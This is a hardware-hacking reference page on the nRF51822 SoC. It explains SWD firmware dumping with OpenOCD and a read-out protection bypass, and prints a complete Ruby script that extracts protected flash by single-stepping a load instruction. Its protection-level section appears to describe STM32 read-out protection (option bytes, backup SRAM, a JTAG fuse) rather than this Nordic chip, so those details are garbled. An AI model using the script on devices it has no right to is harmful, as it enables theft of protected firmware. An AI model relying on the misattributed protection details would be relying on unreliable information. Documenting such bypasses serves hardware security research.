Nordic Semiconductor NRF51822 SoC

Summary

Category Feature Present
Debugging JTAG port Yes
SWD port Yes
Custom debug port No
Protections Read-out protection Yes
Known bypass Yes

Features

The nRF51822 is a SoC able to communicate over many protocols:

  • ShockBurst (legacy)
  • Enhanced ShockBurst (250kbps, 1Mbps & 2Mbps)
  • Bluetooth Low Energy

It also includes:

  • internal Flash (128k or 256k)
  • Real Time Counter (RTC)
  • AES hardware encryption

Firmware extraction

Extract firmware through SWD

One of the simpliest way to extract the firmware from a nRF51822 is to connect to the SWD debug interface (if enabled), and try to dump memory with openocd.

First, connect a ST-Link v2 USB adapter to your machine and run openocd:

$ openocd -f /usr/share/openocd/scripts/interface/stlink-v2.cfg -f /usr/share/openocd/scripts/target/nrf51.cfg

Then use netcat to connect to OpenOcd, and halt the CPU:

$ nc localhost 4444
[prompt here]
halt

Eventually, tell OpenOcd to dump the flash into a file:

dump_image 0 0x40000 /target/dir/flash.bin

Protections

Nordic’s NRF51 architecture provides three level of protection through its ReadOut Protection mechanism.

RDP level 0

ReadOut Protection is disabled, Flash memory is fully open and all memory operations are possible in all boot configurations (Debug features, Boot from RAM, from System memory bootloader or from Flash memory). In this mode there is no protection.

RDP level 1

When the read protection level 1 is activated, no access (read, erase, and program) to Flash memory or backup SRAM can be performed via debug features such as Serial Wire or JTAG, even while booting from SRAM or system memory bootloader. However, when booting from Flash memory, accesses to this memory and to backup SRAM from user code are allowed.

Any read request to the protected Flash memory generates a bus error.

  • Disabling RDP level 1 protection by re-programming RDP option byte to level 0 leads to a mass erase.
  • Access to Flash is still possible.
  • Debug features are still enabled.

RDP level 2

When RDP level 2 is activated, all protections provided in Level1 are active and the chip is fully protected. The RDP option byte and all other option bytes are frozen and can no longer be modified. The JTAG, SWV (single-wire viewer), ETM, and boundary scan are disabled.

When booting from Flash memory, the memory content is accessible to user code. However, booting from SRAM or from system memory bootloader is no more possible.

This protection is irreversible (JTAG fuse), so it’s impossible to go back to protection levels 1 or 0.

  • Debug features are disabled once and for all when RDP level 2 is set

Bypassing Firmware Extraction Controls

This was originally published by Include Security where they demonstrated that the RDP on the nRF51822 could be bypassed by the following method:

  1. Ensure that the device has debug enabled and is halted (for openOCD this is reset halt)
  2. Locate a load instruction of the form ldr rN [ rM #0 ]
  1. Such an instruction reads an address from a register (rM) and loads the data from that address into another register (rN), the #0 is an offset of zero e.g. ldr r3 [ r4, #0 ] would load the data at memory address held in r4 into the r3 register
  2. A method for iterating through the code in openOCD is given in the above link
  1. Using openOCD, set the register value of the address you want to dump into the relevant register in your target code (you can also set the PC) and then run step to step through the instruction. You now have the value at the desired address in the register you want.
  2. Iterate this using a script to dump the full firmware

An example in Ruby taken from the above article is here:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env ruby

require 'net/telnet'

debug = Net::Telnet::new("Host" => "localhost",
                         "Port" => 4444)

dumpfile = File.open("dump.bin", "w")

((0x00000000/4)...(0x00040000)/4).each do |i|
  address = i * 4
  debug.cmd("reset halt")
  debug.cmd("step")
  debug.cmd("reg r3 0x#{address.to_s 16}")
  debug.cmd("step")
  response = debug.cmd("reg r3")
  value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16
  dumpfile.write([value].pack("V"))
  puts "0x%08x:  0x%08x" % [address, value]
end

dumpfile.close
debug.close